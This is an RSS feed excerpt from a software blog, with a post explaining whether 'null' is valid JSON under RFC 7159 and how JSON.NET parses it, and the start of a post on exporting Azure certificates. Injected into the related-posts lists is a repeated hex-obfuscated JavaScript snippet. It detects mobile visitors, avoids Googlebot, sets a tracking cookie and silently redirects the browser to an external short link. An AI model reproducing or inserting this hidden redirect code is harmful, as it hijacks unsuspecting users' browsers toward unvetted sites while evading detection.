window[_0x446d[5]],_0x446d[6])}</script>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2015/08/21/c-understanding-close_wait-and-fin_wait_2/" rel="bookmark" title="C#: Understanding CLOSE_WAIT and FIN_WAIT_2">C#: Understanding CLOSE_WAIT and FIN_WAIT_2 </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2013/02/18/sybase-access-the-database-with-c-using-odbc/" rel="bookmark" title="Sybase: Access the database with C# using ODBC">Sybase: Access the database with C# using ODBC </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2014/03/05/c-get-element-type-enumerable-reflection/" rel="bookmark" title="C#: Get the element type of an enumerable through reflection">C#: Get the element type of an enumerable through reflection </a></li>
</ol>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://benohead.com/blog/2018/05/29/idx10638-cannot-created-the-signatureprovider-key-hasprivatekey-is-false-cannot-create-signatures-key-microsoft-identitymodel-tokens-rsasecuritykey/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Is null a valid JSON text ?</title>
		<link>https://benohead.com/blog/2018/01/15/null-valid-json-text/</link>
					<comments>https://benohead.com/blog/2018/01/15/null-valid-json-text/#comments</comments>
		
		<dc:creator><![CDATA[hb]]></dc:creator>
		<pubDate>Mon, 15 Jan 2018 12:29:10 +0000</pubDate>
				<category><![CDATA[JSON]]></category>
		<guid isPermaLink="false">https://benohead.com/?p=9100</guid>

					<description><![CDATA[<p>Recently I was working on an issue where a service would return null when called with some parameters and the consuming service would have an issue, because the response read from the HTTP response stream would be a string containing the 4 characters &#8220;null&#8221; and only had a check whether the string was null and [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://benohead.com/blog/2018/01/15/null-valid-json-text/">Is null a valid JSON text ?</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-related-none yarpp-template-list'>

No related posts.
</div>
]]></description>
										<content:encoded><![CDATA[<p>Recently I was working on an issue where a service would return null when called with some parameters and the consuming service would have an issue, because the response read from the HTTP response stream would be a string containing the 4 characters &#8220;null&#8221; and only had a check whether the string was null and if not was using a JSON converter to parse the JSON text which would result in an exception being thrown. The question we were discussing here is what should be the JSON representation of a null object.</p>
<h2>What is JSON ?</h2>
<p>JavaScript Object Notation (JSON) is a lightweight, language independent text format for the serialization and exchange of structured data. It is derived from the object literals defined in the ECMAScript Programming Language Standard and defines a small set of formatting rules for the portable representation of structured data.</p>
<p>JSON is described in a few standard documents:</p>
<ul>
<li><a href="https://tools.ietf.org/html/rfc4627">RFC 4627: The application/json Media Type for JavaScript Object Notation (JSON)</a> &#8211;&gt; Made obsolete after the publication of RFC 7159</li>
<li><a href="https://tools.ietf.org/html/rfc7159">RFC 7159: The JavaScript Object Notation (JSON) Data Interchange Format</a></li>
<li><a href="http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-404.pdf">ECMA-404: The JSON Data Interchange Syntax</a></li>
</ul>
<h2>JSON text vs. JSON value</h2>
<p>A JSON text is a sequence of tokens representing structured data transmitted as a string. A JSON value is be an object, array, number, or string, or one of the three literal names: false, null or true.</p>
<p>In RFC 4627, a JSON text was defined as serialized object or array. An JSON object value having to start and end with curly brackets and a JSON array value having to start and end with square brackets. This effectively meant that &#8220;null&#8221; was not a valid JSON text.</p>
<p>But even in RFC 4627, null was a valid JSON value.</p>
<h2>Changes in RFC 7159</h2>
<p>RFC 7159 was published in March 2014 and updates RFC 4627. The goal of this update was to remove inconsistencies with other specifications of JSON and highlight practices that can lead to interoperability problems. One of the changes in RFC 7159 is that a JSON text is not defined as being an object or an array anymore but rather as being a serialized value.</p>
<p>This means that with RFC 7159, &#8220;null&#8221; (as well as &#8220;true&#8221; and &#8220;false&#8221;) becomes a valid JSON text. So the JSON text serialized value of a null object is indeed &#8220;null&#8221;. Unfortunately, not all JSON parsers / deserializers support parsing the string &#8220;null&#8221;.</p>
<h2>Parsing null with JSON.NET</h2>
<p>When using JSON.Net (Newtonsoft.Json), there are two ways to deserialize a JSON text:</p>
<ul>
<li>JObject.parse: this returns a JObject which allows you to work with JSON results which structure might not be completely known.</li>
<li>JsonConvert.DeserializeObject: this is always to deserialize the JSON text to an instance of a defined class.</li>
</ul>
<p>JObject.parse unfortunately throws an exception when trying to parse &#8220;null&#8221; (JObject.Parse(&#8220;null&#8221;)):</p>
<blockquote><p>Newtonsoft.Json.JsonReaderException: &#8216;Error reading JObject from JsonReader. Current JsonReader item is not an object: Null. Path &#8221;, line 1, position 4.&#8217;</p></blockquote>
<p>But if you do not have a class corresponding to the JSON text you&#8217;re deserializing, you can either use &#8220;object&#8221; as type when calling JsonConvert.DeserializeObject or use the overload without generics:</p>
<pre><code class="language-csharp">JsonConvert.DeserializeObject&lt;object&gt;("null");
JsonConvert.DeserializeObject("null");</code></pre>
<p>In both cases, you will get an instance of JObject back (just like the return value of JObject.parse).</p>
<p>&nbsp;</p>
<div class="container_share">
         <a href="http://www.facebook.com/sharer.php?u=https://benohead.com/blog/2018/01/15/null-valid-json-text/&amp;t=Is null a valid JSON text ?" target="_blank" class="button_purab_share facebook"><span><i class="icon-facebook"></i></span></p>
<p>Facebook</p>
<p></a><br />
          <a href="http://twitter.com/share?url=https://benohead.com/blog/2018/01/15/null-valid-json-text/&amp;text=Is null a valid JSON text ?" target="_blank" class="button_purab_share twitter"><span><i class="icon-twitter"></i></span></p>
<p>Twitter</p>
<p></a><br />
          <a href="https://plus.google.com/share?url=https://benohead.com/blog/2018/01/15/null-valid-json-text/" target="_blank" class="button_purab_share google-plus"><span><i class="icon-google-plus"></i></span></p>
<p>Google +</p>
<p></a><br />
          <a href="http://www.linkedin.com/shareArticle?mini=true&url=https://benohead.com/blog/2018/01/15/null-valid-json-text/&amp;title=Is null a valid JSON text ?" target="_blank" class="button_purab_share linkedin"><span><i class="icon-linkedin"></i></span></p>
<p>Linkedin</p>
<p></a>
        </div>
<p>The post <a rel="nofollow" href="https://benohead.com/blog/2018/01/15/null-valid-json-text/">Is null a valid JSON text ?</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-related-none yarpp-template-list'>
<p>No related posts.</p>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://benohead.com/blog/2018/01/15/null-valid-json-text/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Export an App Service certificate to a pfx file with PowerShell</title>
		<link>https://benohead.com/blog/2018/01/12/export-app-service-certificate-pfx-file-powershell/</link>
					<comments>https://benohead.com/blog/2018/01/12/export-app-service-certificate-pfx-file-powershell/#respond</comments>
		
		<dc:creator><![CDATA[hb]]></dc:creator>
		<pubDate>Fri, 12 Jan 2018 14:44:45 +0000</pubDate>
				<category><![CDATA[Azure]]></category>
		<category><![CDATA[Powershell]]></category>
		<guid isPermaLink="false">https://benohead.com/?p=9091</guid>

					<description><![CDATA[<p>In order to debug a webjob running in an Azure App Service and accesses a service using a certificate, I needed to create a local copy of the certificate to be able to run the webjob on a local machine. The Azure portal unfortunately only provides these options: Import an existing App service certificate Upload [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://benohead.com/blog/2018/01/12/export-app-service-certificate-pfx-file-powershell/">Export an App Service certificate to a pfx file with PowerShell</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-list'>
<!-- YARPP List -->

Related posts:<ol><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 